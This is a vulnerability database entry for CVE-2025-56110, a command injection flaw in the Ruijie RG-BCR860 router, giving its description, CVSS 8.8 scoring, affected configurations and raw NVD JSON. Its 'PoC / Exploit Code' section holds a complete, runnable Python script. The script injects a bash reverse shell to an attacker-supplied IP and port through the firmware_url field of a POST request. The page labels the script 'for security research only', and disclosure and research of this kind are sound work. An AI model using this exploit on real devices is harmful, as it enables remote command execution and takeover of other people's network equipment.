Security Vulnerability Report
中文
CVE-2025-56110 CVSS 8.8 HIGH

CVE-2025-56110

Published: 2025-12-11 19:15:57
Last Modified: 2026-01-26 19:13:04

Description

OS Command Injection vulnerability in Ruijie RG-BCR RG-BCR860 allowing attackers to execute arbitrary commands via a crafted POST request to the action_deal_update in file /usr/lib/lua/luci/controller/api/rcmsAPI.lua.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:o:ruijie:rg-bcr860_firmware:-:*:*:*:*:*:*:* - VULNERABLE
cpe:2.3:h:ruijie:rg-bcr860:-:*:*:*:*:*:*:* - NOT VULNERABLE
Ruijie RG-BCR860 所有已知固件版本
Ruijie RG-BCR 系列设备受影响的固件版本

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-56110 PoC - Ruijie RG-BCR860 OS Command Injection This PoC demonstrates the command injection vulnerability in Ruijie RG-BCR860 via the action_deal_update endpoint in rcmsAPI.lua """ import requests import sys def exploit(target_ip, attacker_ip, attacker_port): """ Exploit CVE-2025-56110 by injecting a reverse shell command Args: target_ip: IP address of the vulnerable Ruijie RG-BCR860 device attacker_ip: Attacker\'s IP address for reverse shell attacker_port: Port for reverse shell connection """ url = f"http://{target_ip}/cgi-bin/luci/api/rcmsAPI/action_deal_update" # Payload: Inject command to create reverse shell # The command will connect back to attacker\'s machine payload = f";bash -i >& /dev/tcp/{attacker_ip}/{attacker_port} 0>&1;" # Construct the malicious POST request data = { "action": "update", "firmware_url": payload, "device_id": "test_device" } headers = { "Content-Type": "application/x-www-form-urlencoded", "User-Agent": "Mozilla/5.0 (compatible; RG-BCR-Management/1.0)" } try: print(f"[*] Sending exploit payload to {target_ip}...") print(f"[*] Payload: {payload}") response = requests.post(url, data=data, headers=headers, timeout=10) print(f"[+] Request sent successfully") print(f"[*] Response Status: {response.status_code}") print(f"[*] Response: {response.text[:200]}") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False return True def main(): if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <target_ip> <attacker_ip> <attacker_port>") print(f"Example: {sys.argv[0]} 192.168.1.1 192.168.1.100 4444") sys.exit(1) target_ip = sys.argv[1] attacker_ip = sys.argv[2] attacker_port = sys.argv[3] exploit(target_ip, attacker_ip, attacker_port) if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-56110", "sourceIdentifier": "[email protected]", "published": "2025-12-11T19:15:56.683", "lastModified": "2026-01-26T19:13:04.100", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OS Command Injection vulnerability in Ruijie RG-BCR RG-BCR860 allowing attackers to execute arbitrary commands via a crafted POST request to the action_deal_update in file /usr/lib/lua/luci/controller/api/rcmsAPI.lua."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:ruijie:rg-bcr860_firmware:-:*:*:*:*:*:*:*", "matchCriteriaId": "DFB262F4-8641-40D7-B8E5-9B4575B5AA1C"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:h:ruijie:rg-bcr860:-:*:*:*:*:*:*:*", "matchCriteriaId": "AEB06D24-93E3-42B4-AD6C-5510F5B5EDDC"}]}]}], "references": [{"url": "https://1drv.ms/f/c/12406a392c92914b/EqEQemupso9DldgG-EcUI8IBLpEWP_S-f6vpeUtYztYYCg?e=gX4A10", "source": "[email protected]", "tags": ["Product", "Broken Link"]}, {"url": "https://1drv.ms/t/c/12406a392c92914b/EWK5h1b7Ig1Pt-jdTSQ6t5wBYIbKPHujlBimUpdYNVR-6A?e=eQRXef", "source": "[email protected]", "tags": ["Third Party Advisory", "Broken Link"]}, {"url": "https://github.com/flegoity/Ruijie-Multiple-Devices-Vulnerability-Reports-for-CVE/blob/main/CVE-2025-56110.md", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}]}}